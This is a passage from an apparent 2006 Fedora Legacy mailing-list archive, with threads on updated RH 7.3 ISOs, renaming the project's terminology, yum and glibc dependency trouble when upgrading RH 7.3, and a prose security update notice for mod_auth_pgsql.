contain *all* 7.3 updates for the stock 7.3 cd's? 1) installing the stock 7.3 2) configure yum and update all the Legacy updates (which include all RH updates). If this is true, I don't think this fact is stressed enough on the download page (http://fedoralegacy.org/download/). -eric wood From nils at lemonbit.nl Wed Jan 18 14:32:16 2006 From: nils at lemonbit.nl (Nils Breunese (Lemonbit Internet)) Date: Wed, 18 Jan 2006 15:32:16 +0100 Subject: Obtaining the Latest ISOs for RH 7.3 In-Reply-To: <009d01c61c38$263c2520$f502000a@M145Primary> References: <009d01c61c38$263c2520$f502000a@M145Primary> Message-ID: <17B9859F-6A5E-4A16-8119-DE8BEF52E426@lemonbit.nl> Eric Wood wrote: > I may be dreaming but is there some up-to-date RH 7.3 iso's that > already incorporate most of the package updates? Are do I have to > do a three-step process of: > 1) installing the stock 7.3 > 2) update all rpms RedHat published > 3) configure yum and update all the Legacy updates. > > -or- > > Does a mirrored updates directory, (ie, http://www.gtlib.gatech.edu/ > pub/fedoralegacy/redhat/7.3/updates/) contain *all* 7.3 updates for > the stock 7.3 cd's? > > 1) installing the stock 7.3 > 2) configure yum and update all the Legacy updates (which include > all RH updates). > > If this is true, I don't think this fact is stressed enough on the > download page (http://fedoralegacy.org/download/). Yes, the Legacy updates directory contains both types of updates. You can tell from the package names, the legacy ones have the word legacy included. Nils. From kelson at speed.net Wed Jan 18 17:18:10 2006 From: kelson at speed.net (Kelson Vibber) Date: Wed, 18 Jan 2006 09:18:10 -0800 Subject: Obtaining the Latest ISOs for RH 7.3 In-Reply-To: <009d01c61c38$263c2520$f502000a@M145Primary> References: <009d01c61c38$263c2520$f502000a@M145Primary> Message-ID: <43CE7852.5010800@speed.net> Eric Wood wrote: > I may be dreaming but is there some up-to-date RH 7.3 iso's that already > incorporate most of the package updates? Wasn't there some talk about creating this sort of ISO some time back? Did anything ever come of it? -- Kelson Vibber SpeedGate Communications, From jkeating at j2solutions.net Wed Jan 18 21:58:50 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Wed, 18 Jan 2006 13:58:50 -0800 Subject: Proposed changes to Fedora Legacy Project Message-ID: <1137621530.27493.35.camel@ender> It has been brought to my attention that some of the terms we use are scaring users away. This is not a good thing, so I propose the following changes: Where "Fedora Legacy" is mentioned, couple it with "The Community Maintenance Project". IE "Fedora Legacy, the Community Maintenance Project". Terms like 'Core', 'Extras', and 'Legacy' are pretty generic, and require descriptive terms. The terms I propose for use with Legacy are userfriendly and accurate. Discontinue the use of 'End of Life'. This term is very misleading. A core release that Fedora Legacy maintains is not End of Life, it is just maintained by different folks. Instead one can use the term 'maintenance mode'. When a give Fedora Core release enters "maintenance mode", Fedora Legacy, the Community Maintenance Project, will take over maintenance of the release for Security issues. Together with these term changes, I propose changes to Core to minimize the exposure of this project: Inclusion of Legacy repository and key information in the Core release. This will allow update programs which make use of yum to not need any changes once a release enters maintenance mode. Package updates produced by Legacy published to fedora-list and fedora-announce-list. This keeps our updates in the eyes of users without them having to subscribe to a new list. Release emails should use the same or similar format that current Fedora update emails use. Other changes that I see necessary moving forward: Discontinue fedoralegacy.org website and integrate content into the Fedora Project wiki. Some of this has happened already, the rest needs to happen. This will make it much easier for us to make changes to our content, such as adding information about FC3. Make use of yum mirrorlist feature for Legacy's mirroring system. Make use of repoview for showing the current repository information for each release that Legacy maintains. Convert our build system over to that which Fedora Extras uses, and make use of Fedora content in CVS repositories. This will make maintenance much easier to manage, and contribution much easier to accomplish. These are the changes I see as necessary moving forward. Please bear with us as we try to make each change while continuing to maintain releases. If you have thoughts/suggestions, I welcome them. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From sheltren at cs.ucsb.edu Wed Jan 18 23:12:20 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Wed, 18 Jan 2006 19:12:20 -0400 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <1137621530.27493.35.camel@ender> References: <1137621530.27493.35.camel@ender> Message-ID: Hi Jesse, I do agree that some things about Fedora Legacy can be confusing to end users. I've added some notes below. On Jan 18, 2006, at 5:58 PM, Jesse Keating wrote: > It has been brought to my attention that some of the terms we use are > scaring users away. This is not a good thing, so I propose the > following changes: > > Where "Fedora Legacy" is mentioned, couple it with "The Community > Maintenance Project". IE "Fedora Legacy, the Community Maintenance > Project". Terms like 'Core', 'Extras', and 'Legacy' are pretty > generic, > and require descriptive terms. The terms I propose for use with > Legacy > are userfriendly and accurate. I don't really see the need for something like this, and personally I think "community maintenance project" makes it sound like we're going to be picking up garbage on the side of the highway. I'm all for having a wiki page or something similar which describes the project and what we do, but I don't see a reason to change the name (or always require this type of suffix). > > Discontinue the use of 'End of Life'. This term is very > misleading. A > core release that Fedora Legacy maintains is not End of Life, it is > just > maintained by different folks. Instead one can use the term > 'maintenance mode'. When a give Fedora Core release enters > "maintenance > mode", Fedora Legacy, the Community Maintenance Project, will take > over > maintenance of the release for Security issues. I agree with this - End of Life can sound bad and scary. :) > > Together with these term changes, I propose changes to Core to > minimize > the exposure of this project: > > Inclusion of Legacy repository and key information in the Core > release. > This will allow update programs which make use of yum to not need any > changes once a release enters maintenance mode. I'm sure that this will be very helpful for people. ... > > > Discontinue fedoralegacy.org website and integrate content into the > Fedora Project wiki. Some of this has happened already, the rest > needs > to happen. This will make it much easier for us to make changes to > our > content, such as adding information about FC3. Agreed. With the wiki it is easy for us all to contribute and change things, also with Fedora Extras and other Fedora projects all based within the same wiki, it really has more of a community feel. Everything else you mentioned (yum mirrors, repoview, and new build system) sounds good to me. -Jeff From sundaram at redhat.com Wed Jan 18 23:16:28 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Thu, 19 Jan 2006 04:46:28 +0530 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: References: <1137621530.27493.35.camel@ender> Message-ID: <43CECC4C.2060804@redhat.com> HI > I don't really see the need for something like this, Make sure you read the recent fedora-devel list discussions to understand the need. > and personally I think "community maintenance project" makes it sound > like we're going to be picking up garbage on the side of the highway I dont see that kind of association. > . I'm all for having a wiki page or something similar which > describes the project and what we do, but I don't see a reason to > change the name (or always require this type of suffix). Unless its in the face not many people would bother reading about it. -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers From sheltren at cs.ucsb.edu Wed Jan 18 23:37:10 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Wed, 18 Jan 2006 19:37:10 -0400 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <43CECC4C.2060804@redhat.com> References: <1137621530.27493.35.camel@ender> <43CECC4C.2060804@redhat.com> Message-ID: On Jan 18, 2006, at 7:16 PM, Rahul Sundaram wrote: > HI > >> I don't really see the need for something like this, > > Make sure you read the recent fedora-devel list discussions to > understand the need. > >> and personally I think "community maintenance project" makes it >> sound like we're going to be picking up garbage on the side of >> the highway > > I dont see that kind of association. > >> . I'm all for having a wiki page or something similar which >> describes the project and what we do, but I don't see a reason to >> change the name (or always require this type of suffix). > > Unless its in the face not many people would bother reading about it. > Hi Rahul, I just browsed through some fedora-devel-list posts from this month, so far all I see is two people in a thread: "RFE: Retire Fedora Core 4 only _after_ FC6 has been released." who mention that they think "legacy" has negative connotation(s). Are there other posts I'm missing, or is that what you were referring to? -Jeff From sundaram at redhat.com Wed Jan 18 23:46:42 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Thu, 19 Jan 2006 05:16:42 +0530 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: References: <1137621530.27493.35.camel@ender> <43CECC4C.2060804@redhat.com> Message-ID: <43CED362.70907@redhat.com> Hi > > Hi Rahul, I just browsed through some fedora-devel-list posts from > this month, so far all I see is two people in a thread: "RFE: Retire > Fedora Core 4 only _after_ FC6 has been released." who mention that > they think "legacy" has negative connotation(s). Are there other > posts I'm missing, or is that what you were referring to? > > -Jeff After FC6 part is not important here. Whats important is that several users in the list have expressed their opinion that the term "legacy" has negative canotations associated with it. I do not feel so. In fact I think legacy is a perfectly suitable name for what this project stands for but we can listen to the users here. If we do get more community contributions and users by doing something as simple as expanding on a name and lowering the barrier to entry by providing seamless transition between Fedora Core and Fedora Legacy, lets shoot for it.We need all the people we can get. If we have to set aside our own preferences and bend a little to enable this to happen, so be it. -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers From pekkas at netcore.fi Thu Jan 19 06:42:21 2006 From: pekkas at netcore.fi (Pekka Savola) Date: Thu, 19 Jan 2006 08:42:21 +0200 (EET) Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <1137621530.27493.35.camel@ender> References: <1137621530.27493.35.camel@ender> Message-ID: On Wed, 18 Jan 2006, Jesse Keating wrote: > Convert our build system over to that which Fedora Extras uses, and make > use of Fedora content in CVS repositories. This will make maintenance > much easier to manage, and contribution much easier to accomplish. This would likely be the most important change of all. If we get away from the symptom where package updaters have to propose .src.rpm's for approval (but instead need no approval, or approval of just CVS diffs), we've made contribution much easier to those who don't want to run their own mach/mock systems. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From redhat at myvirtualemail.biz Thu Jan 19 11:04:52 2006 From: redhat at myvirtualemail.biz (Ronald Bradford) Date: Thu, 19 Jan 2006 21:04:52 +1000 Subject: Unable to use instructions to using yum 2.x on RH 9 Message-ID: <43CF7254.3080604@myvirtualemail.biz> Hi, I'm following the instructions at http://www.fedoraproject.org/wiki/Legacy/Yum9Detailed to upgrade yum on my RH9 machine so I can further update the system for glib23 which I can then use for MySQL 5.1 rpm -Uvh http://download.fedoralegacy.org/redhat/9/updates/i386/gnupg-1.2.1-9.i386.rpm is giving me the error error: failed dependencies: libc.so.6(GLIBC_2.3) is needed by gnupg-1.2.1-9 This is effectively where I am stuck, and would like assistance if this has been experienced before. Assuming this is glibc23 which is what I want I looked at upgrading glibc via advisary at http://fedoralegacy.org/updates/RH9/2005-11-13-FLSA_2005_152848__Updated_glibc_packages_fix_security_issues.html This seemed to land me in a bigger dependancy hold, attempts to look at one gave me more dependancies. Which was why I was just prepare to yum update for everything. It's seems I'm in a circular dependancies. Any help would be most appreciated. Regards Ronald Bradford From Axel.Thimm at ATrpms.net Thu Jan 19 11:29:57 2006 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Thu, 19 Jan 2006 12:29:57 +0100 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <1137621530.27493.35.camel@ender> References: <1137621530.27493.35.camel@ender> Message-ID: <20060119112957.GF3460@neu.nirvana> On Wed, Jan 18, 2006 at 01:58:50PM -0800, Jesse Keating wrote: > Where "Fedora Legacy" is mentioned, couple it with "The Community > Maintenance Project". IE "Fedora Legacy, the Community Maintenance > Project". That makes people associate it with "FCX is transferred from the company supported project to the community maintenance project". And when Fedora becomes a foundation, wouldn't the fathering project be a community project itself? So the term might even be consuing in the not-to-long future. How about simply a neutral term like "Fedora Legacy, the security maintenance project"? -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From redhat at myvirtualemail.biz Thu Jan 19 11:39:12 2006 From: redhat at myvirtualemail.biz (Ronald Bradford) Date: Thu, 19 Jan 2006 21:39:12 +1000 Subject: Unable to use instructions to using yum 2.x on RH 9 In-Reply-To: <43CF7254.3080604@myvirtualemail.biz> References: <43CF7254.3080604@myvirtualemail.biz> Message-ID: <43CF7A60.2090002@myvirtualemail.biz> My apologies, I thought my system was RedHat 9. it was kernel 2.4.20-18.7 I did a google on 2.4.20 and it came back with references to 9. Seems my assumptions when I got the server years ago was wrong, and it is indeed 7.3 I've been able to update everything to current packages under 7.3 however in more reading I see this still doesn't cut it. Could anybody provide any good references for upgrading 7.3 to 9, which appears what I have to do, however a number of sites I've reviewed provide some misleading info. Regards Ronald Bradford Ronald Bradford wrote: > Hi, > > I'm following the instructions at > http://www.fedoraproject.org/wiki/Legacy/Yum9Detailed to upgrade yum > on my RH9 machine so I can further update the system for glib23 which > I can then use for MySQL 5.1 > > rpm -Uvh > http://download.fedoralegacy.org/redhat/9/updates/i386/gnupg-1.2.1-9.i386.rpm > > > is giving me the error > error: failed dependencies: > libc.so.6(GLIBC_2.3) is needed by gnupg-1.2.1-9 > > > > This is effectively where I am stuck, and would like assistance if > this has been experienced before. > > Assuming this is glibc23 which is what I want I looked at upgrading > glibc via advisary at > http://fedoralegacy.org/updates/RH9/2005-11-13-FLSA_2005_152848__Updated_glibc_packages_fix_security_issues.html > > > This seemed to land me in a bigger dependancy hold, attempts to look > at one gave me more dependancies. Which was why I was just prepare to > yum update for everything. It's seems I'm in a circular dependancies. > > Any help would be most appreciated. > > Regards > > Ronald Bradford > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-legacy-list > > From sheltren at cs.ucsb.edu Thu Jan 19 12:47:01 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Thu, 19 Jan 2006 08:47:01 -0400 Subject: Unable to use instructions to using yum 2.x on RH 9 In-Reply-To: <43CF7A60.2090002@myvirtualemail.biz> References: <43CF7254.3080604@myvirtualemail.biz> <43CF7A60.2090002@myvirtualemail.biz> Message-ID: <847EFBE3-0CEF-4107-B75E-24599FC38E0F@cs.ucsb.edu> On Jan 19, 2006, at 7:39 AM, Ronald Bradford wrote: > My apologies, I thought my system was RedHat 9. it was kernel > 2.4.20-18.7 I did a google on 2.4.20 and it came back with > references to 9. > > Seems my assumptions when I got the server years ago was wrong, and > it is indeed 7.3 > I've been able to update everything to current packages under 7.3 > however in more reading I see this still doesn't cut it. > > Could anybody provide any good references for upgrading 7.3 to 9, > which appears what I have to do, however a number of sites I've > reviewed provide some misleading info. > > Regards > > Ronald Bradford > Hi Ronald, you may want to do something like a 'yum upgrade' (after adding the rh9 repos to your yum.conf file) and see what happens but going from 7.3 -> 9 may be a bit of a headache. I'm a bit curious why you would want to upgrade from one old, unsupported by RedHat distribution to another? If this is a desktop machine, I'd recommend looking into Fedora Core 4, or FC5 soon, and if it's a server, why not go with RedHat Enterprise 4 or a free alternative? -Jeff From redhat at myvirtualemail.biz Thu Jan 19 13:15:53 2006 From: redhat at myvirtualemail.biz (Ronald Bradford) Date: Thu, 19 Jan 2006 23:15:53 +1000 Subject: Unable to use instructions to using yum 2.x on RH 9 In-Reply-To: <847EFBE3-0CEF-4107-B75E-24599FC38E0F@cs.ucsb.edu> References: <43CF7254.3080604@myvirtualemail.biz> <43CF7A60.2090002@myvirtualemail.biz> <847EFBE3-0CEF-4107-B75E-24599FC38E0F@cs.ucsb.edu> Message-ID: <43CF9109.7060207@myvirtualemail.biz> I use CentOS 4.2, however the machine is a dedicated host located in a data centre in Texas, so I'm limited to Operating systems provided as I have no physical access. They do provide RHEL (which is great) a moderate cost for upgrade, however it's a clean wipe, and with 30+ web sites, the downtime is likely to be 2-3 days. I was looking for a cheap out without the dedicated down time, and complete re-install of custom software, which I can do, it just takes time. regards Ronald Jeff Sheltren wrote: > On Jan 19, 2006, at 7:39 AM, Ronald Bradford wrote: > >> My apologies, I thought my system was RedHat 9. it was kernel >> 2.4.20-18.7 I did a google on 2.4.20 and it came back with >> references to 9. >> >> Seems my assumptions when I got the server years ago was wrong, and >> it is indeed 7.3 >> I've been able to update everything to current packages under 7.3 >> however in more reading I see this still doesn't cut it. >> >> Could anybody provide any good references for upgrading 7.3 to 9, >> which appears what I have to do, however a number of sites I've >> reviewed provide some misleading info. >> >> Regards >> >> Ronald Bradford >> > > Hi Ronald, you may want to do something like a 'yum upgrade' (after > adding the rh9 repos to your yum.conf file) and see what happens but > going from 7.3 -> 9 may be a bit of a headache. I'm a bit curious > why you would want to upgrade from one old, unsupported by RedHat > distribution to another? If this is a desktop machine, I'd recommend > looking into Fedora Core 4, or FC5 soon, and if it's a server, why > not go with RedHat Enterprise 4 or a free alternative? > > -Jeff > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-legacy-list > > From cra at WPI.EDU Thu Jan 19 13:31:56 2006 From: cra at WPI.EDU (Chuck Anderson) Date: Thu, 19 Jan 2006 08:31:56 -0500 Subject: Unable to use instructions to using yum 2.x on RH 9 In-Reply-To: <43CF9109.7060207@myvirtualemail.biz> References: <43CF7254.3080604@myvirtualemail.biz> <43CF7A60.2090002@myvirtualemail.biz> <847EFBE3-0CEF-4107-B75E-24599FC38E0F@cs.ucsb.edu> <43CF9109.7060207@myvirtualemail.biz> Message-ID: <20060119133156.GA18714@angus.ind.WPI.EDU> On Thu, Jan 19, 2006 at 11:15:53PM +1000, Ronald Bradford wrote: > I use CentOS 4.2, however the machine is a dedicated host located in a > data centre in Texas, so I'm limited to Operating systems provided as I > have no physical access. > They do provide RHEL (which is great) a moderate cost for upgrade, > however it's a clean wipe, and with 30+ web sites, the downtime is > likely to be 2-3 days. > > I was looking for a cheap out without the dedicated down time, and > complete re-install of custom software, which I can do, it just takes time. I did an anaconda upgrade from RHL 7.3 to FC3 without too much trouble. You can also do the upgrade remotely by rebooting into the installer via grub or lilo, and then starting a VNC-based install. Just be sure to put the installer vmlinuz/initrd.img first in grub/lilo so it boots automatically, and then during the upgrade choose "create new bootloader configuration" so that it reboots into the OS afterwards. I'd also recommend specifying the MAC address of the NIC you want to install with, since device names eth0 eth1 etc. can change. From jkeating at j2solutions.net Thu Jan 19 17:51:59 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Thu, 19 Jan 2006 09:51:59 -0800 Subject: Unable to use instructions to using yum 2.x on RH 9 In-Reply-To: <43CF7A60.2090002@myvirtualemail.biz> References: <43CF7254.3080604@myvirtualemail.biz> <43CF7A60.2090002@myvirtualemail.biz> Message-ID: <1137693120.27493.68.camel@ender> On Thu, 2006-01-19 at 21:39 +1000, Ronald Bradford wrote: > I've been able to update everything to current packages under 7.3 > however in more reading I see this still doesn't cut it. Why doesn't this cut it? Fedora Legacy still maintains RHL7.3. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From marcdeslauriers at videotron.ca Thu Jan 19 23:46:47 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Thu, 19 Jan 2006 18:46:47 -0500 Subject: Fedora Legacy Test Update Notification: mod_auth_pgsql Message-ID: <43D024E7.3090804@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2006-177326 Bugzilla https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=177326 2006-01-19 --------------------------------------------------------------------- Name : mod_auth_pgsql Versions : fc1: mod_auth_pgsql-2.0.1-3.1.legacy Versions : fc2: mod_auth_pgsql-2.0.1-4.2.legacy Summary : Basic authentication for the Apache Web server using a PostgreSQL database. Description : Mod_auth_pgsql can be used to limit access to documents served by a Web server by checking fields in a table in a PostgresQL database. --------------------------------------------------------------------- Update Information: An updated mod_auth_pgsql package that fixes a format string flaw is now available. The mod_auth_pgsql package is an httpd module that allows user authentication against information stored in a PostgreSQL database. Several format string flaws were found in the way mod_auth_pgsql logs information. It may be possible for a remote attacker to execute arbitrary code as the 'apache' user if mod_auth_pgsql is used for user authentication. The Common Vulnerabilities and Exposures project assigned the name CVE-2005-3656 to this issue. Please note that this issue only affects servers which have mod_auth_pgsql installed and configured to perform user authentication against a PostgreSQL database. All users of mod_auth_pgsql should upgrade to these updated packages, which contain a backported patch to resolve this issue. --------------------------------------------------------------------- Changelogs fc1: * Sun Jan 15 2006 David Eisenstein 2.0.1-3.1.legacy - The following fixes lifted wholesale from FC3's .src.rpm, (Legacy Bug #177326). Changes by Joe Orton of RedHat: * add security fix for CVE-2005-3656 * don't strip .so file so debuginfo works * fix r->user handling (Mirko Streckenbach, #150087) * merge from Taroon (RHEL 3): - don't re-use database connections (#115496) - make functions static - downgrade "not configured" log message from warning to debug fc2: * Sun Jan 15 2006 David Eisenstein 2.0.1-4.2.legacy - Rebuilt for FC2 * Sun Jan 15 2006 David Eisenstein 2.0.1-3.1.legacy - The following fixes lifted wholesale from FC3's .src.rpm, (Legacy Bug #177326). Changes by Joe Orton of RedHat: * add security fix for CVE-2005-3656 * don't strip .so file so debuginfo works * fix r->user handling (Mirko Streckenbach, #150087) * merge from Taroon (RHEL 3): - don't re-use database connections (#115496) - make functions static - downgrade "not configured" log message from warning to debug --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) e6ce19c8be5f4638e2050437c4529b0d4a0f5e1f fedora/1/updates-testing/i386/mod_auth_pgsql-2.0.1-3.1.legacy.i386.rpm 119b3b6045eaa3b175ebe3d613daca8e9c81b35c fedora/1/updates-testing/SRPMS/mod_auth_pgsql-2.0.1-3.1.legacy.src.rpm 8f9c2503b417db84b73483e6daca445c4789e4e4 fedora/2/updates-testing/i386/mod_auth_pgsql-2.0.1-4.2.legacy.i386.rpm 52aabaff10fb0f862e1b96199facb7da046e94dc fedora/2/updates-testing/SRPMS/mod_auth_pgsql-2.0.1-4.2.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From sundaram at redhat.com Fri Jan 20 02:19:22 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Fri, 20 Jan 2006 07:49:22 +0530 Subject: Wiki page updated Message-ID: <43D048AA.7030503@redhat.com> Hi http://fedoraproject.org/wiki/Legacy/ I have improved the content as well as look and feel of the wiki page to match other project pages within our Fedora Project wiki. I have also included the information that Fedora Legacy is now a official Fedora Project supported by the Fedora Foundation. I have clarified some terminology in the pages. As an example of these, Fedora Project in general has avoiding using the term "support" in any our webpages or documentation to avoid the confusion with commercial support services and SLA's. I have replaced them with maintenance or updates as appopriate. Also I have replaced the misleading term "End Of Release (EOL)" with maintenace mode as indicated by Jesse Keating in his earlier mail to the list. I have copied over and clarified the FAQ from http://fedoralegacy.org/faq into http://fedoraproject.org/wiki/Legacy/FAQ. Information on the security procedures from the legacy site has also been copied over into the wiki in anticipation of the depreciation of http://fedoralegacy.org in favor of adding information to the primary Fedora Project website at http://fedoraproject.org. Comments and feedback is most welcome. -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers From deisenst at gtw.net Fri Jan 20 02:41:20 2006 From: deisenst at gtw.net (David Eisenstein) Date: Thu, 19 Jan 2006 20:41:20 -0600 (CST) Subject: Maintenance? Re: Proposed changes to Fedora Legacy Project In-Reply-To: <43CED362.70907@redhat.com> Message-ID: On Thu, 19 Jan 2006, Rahul Sundaram wrote: > Hi > > > > > Hi Rahul, I just browsed through some fedora-devel-list posts from > > this month, so far all I see is two people in a thread: "RFE: Retire > > Fedora Core 4 only _after_ FC6 has been released." who mention that > > they think "legacy" has negative connotation(s). Are there other > > posts I'm missing, or is that what you were referring to? > > > > -Jeff > > After FC6 part is not important here. Whats important is that several > users in the list have expressed their opinion that the term "legacy" > has negative canotations associated with it. I do not feel so. In fact I > think legacy is a perfectly suitable name for what this project stands > for but we can listen to the users here. If we do get more community > contributions and users by doing something as simple as expanding on a > name and lowering the barrier to entry by providing seamless transition > between Fedora Core and Fedora Legacy, lets shoot for it.We need all the > people we can get. If we have to set aside our own preferences and bend > a little to enable this to happen, so be it. I'm going to step into this discussion with a point that some non-USA folks here may not realize. In my midwestern United States dialect, the word "maintenance" generally has connotations that make it rather less than glamorous. When you hear about "building maintenance," that usually means the custodian or janitorial staff for the building or campus. To me, calling our project a "Community Maintenance Project" sort of has the connotation of "software janitor project," or "package housekeeper project," or "security roto-rooter project." Maintenance is also a synonym for "alimony," according to my handy-dandy gnome-dictionary. Nevertheless, those who participate in this project *are* maintainers. "Developer" seems to be a much sexier word, but alas, our work here really isn't software or package development. It's software/security maintenance, custody, or stewardship. Maintenance just doesn't sound sexy or alluring. Nevertheless, there is an area of software engineering called software maintenance, which is an important part of the software lifecycle. The work we do is very important. Although the word "maintenance" does seem to have some negative conno- tations, it's hard for me to come up with a better word that describes our purpose and activities. What could the spin doctors can do here? Could we substitute the word "stewardship" for "maintenance"? In terms of the word "legacy:" In my opinion, it's a fine word, and I don't understand what objections people have to its use. Regards, David From sundaram at redhat.com Fri Jan 20 02:47:54 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Fri, 20 Jan 2006 08:17:54 +0530 Subject: Maintenance? Re: Proposed changes to Fedora Legacy Project In-Reply-To: References: Message-ID: <43D04F5A.4000204@redhat.com> Hi > >Although the word "maintenance" does seem to have some negative conno- >tations, it's hard for me to come up with a better word that describes our >purpose and activities. What could the spin doctors can do here? Could >we substitute the word "stewardship" for "maintenance"? > > Possibly yes. >In terms of the word "legacy:" In my opinion, it's a fine word, and I >don't understand what objections people have to its use. > > Refer to the repeated negative responses from users complaining about this in https://www.redhat.com/archives/fedora-devel-list/2006-January/msg00744.html -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers From ceo at theserverexperts.com Wed Jan 18 18:35:48 2006 From: ceo at theserverexperts.com (TheServerExperts) Date: Wed, 18 Jan 2006 14:35:48 -0400 Subject: Obtaining the Latest ISOs for RH 7.3 References: <009d01c61c38$263c2520$f502000a@M145Primary> <43CE7852.5010800@speed.net> Message-ID: <000601c61c5e$0231f5d0$b40aa8c0@jolleyholding.local> I also would be interested in an up-to-date redhat9 iso's if there is such a thing. Thank you, Eydrian Flanegin TheServerExperts.com Phone: 00-(297)-5657644 Fax: 00-(297)-5889072 ceo at theserverexperts.com Seroe Blanco 20-A, Suite 6 Oranjestad, 297 Aruba, AW This email (including all attachments) is the sole property of TheServerExperts.com and may be confidential. If you are not the intended recipient, you must not use or forward the information contained in it. This message may not be reproduced or otherwise republished without the written consent of the sender. If you have received this message in error, please delete the e-mail and notify the sender. ----- Original Message ----- From: "Kelson Vibber" To: "Discussion of the Fedora Legacy Project" Sent: Wednesday, January 18, 2006 1:18 PM Subject: Re: Obtaining the Latest ISOs for RH 7.3 > Eric Wood wrote: >> I may be dreaming but is there some up-to-date RH 7.3 iso's that already >> incorporate most of the package updates? > > Wasn't there some talk about creating this sort of ISO some time back? Did > anything ever come of it? > > -- > Kelson Vibber > SpeedGate Communications, > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-legacy-list From arjan at fenrus.demon.nl Thu Jan 19 11:58:17 2006 From: arjan at fenrus.demon.nl (Arjan van de Ven) Date: Thu, 19 Jan 2006 12:58:17 +0100 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <20060119112957.GF3460@neu.nirvana> References: <1137621530.27493.35.camel@ender> <20060119112957.GF3460@neu.nirvana> Message-ID: <1137671897.2993.21.camel@laptopd505.fenrus.org> On Thu, 2006-01-19 at 12:29 +0100, Axel Thimm wrote: > On Wed, Jan 18, 2006 at 01:58:50PM -0800, Jesse Keating wrote: > > Where "Fedora Legacy" is mentioned, couple it with "The Community > > Maintenance Project". IE "Fedora Legacy, the Community Maintenance > > Project". > > That makes people associate it with "FCX is transferred from the company > supported project to the community maintenance project". you have a point, however something needs to show the status changed. Maybe it should be from "proactive maintenance" to "passive maintenance" where the next sentence explains that passive maintenance is security fixes only (and really major bugs) while proactive maintenance means new functionality and minor improvements as well. From hjp+fedora-legacy at wsr.ac.at Fri Jan 20 09:10:53 2006 From: hjp+fedora-legacy at wsr.ac.at (Peter J. Holzer) Date: Fri, 20 Jan 2006 10:10:53 +0100 Subject: Maintenance? Re: Proposed changes to Fedora Legacy Project In-Reply-To: References: <43CED362.70907@redhat.com> Message-ID: <20060120091053.GD4397@wsr.ac.at> On 2006-01-19 20:41:20 -0600, David Eisenstein wrote: > I'm going to step into this discussion with a point that some non-USA > folks here may not realize. In my midwestern United States dialect, the > word "maintenance" generally has connotations that make it rather less > than glamorous. Yes, maintenance isn't glamourous, but it's necessary. > When you hear about "building maintenance," that usually > means the custodian or janitorial staff for the building or campus. To > me, calling our project a "Community Maintenance Project" sort of has the > connotation of "software janitor project," or "package housekeeper > project," or "security roto-rooter project." In a recent survey "are these professions important for Austria?" cleaning staff was ranked before IT professionals, so maybe the "fedora janitor project" wouldn't be that bad :-) hp -- _ | Peter J. Holzer | If I wanted to be "academically correct", |_|_) | Sysadmin WSR | I'd be programming in Java. | | | hjp at wsr.ac.at | I don't, and I'm not. __/ | http://www.hjp.at/ | -- Jesse Erlbaum on dbi-users -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 388 bytes Desc: not available URL: From matt.followers at gmail.com Fri Jan 20 15:24:55 2006 From: matt.followers at gmail.com (Matt Nuzum) Date: Fri, 20 Jan 2006 09:24:55 -0600 Subject: Proposed changes to Fedora Legacy Project In-Reply-To: <1137621530.27493.35.camel@ender> References: <1137621530.27493.35.camel@ender> Message-ID: <27c475ec0601200724l5092ae7dkc6175c38d90160b4@mail.gmail.com> On 1/18/06, Jesse Keating wrote: > Where "Fedora Legacy" is mentioned, couple it with "The Community > Maintenance Project". IE "Fedora Legacy, the Community Maintenance > Project". Terms like 'Core', 'Extras', and 'Legacy' are pretty generic, > and require descriptive terms. The terms I propose for use with Legacy > are userfriendly and accurate. This sounds good. This makes more sense if you interpret it after the statement that folows regarding use of the term EOL. > Discontinue the use of 'End of Life'. This term is very misleading. A > core release that 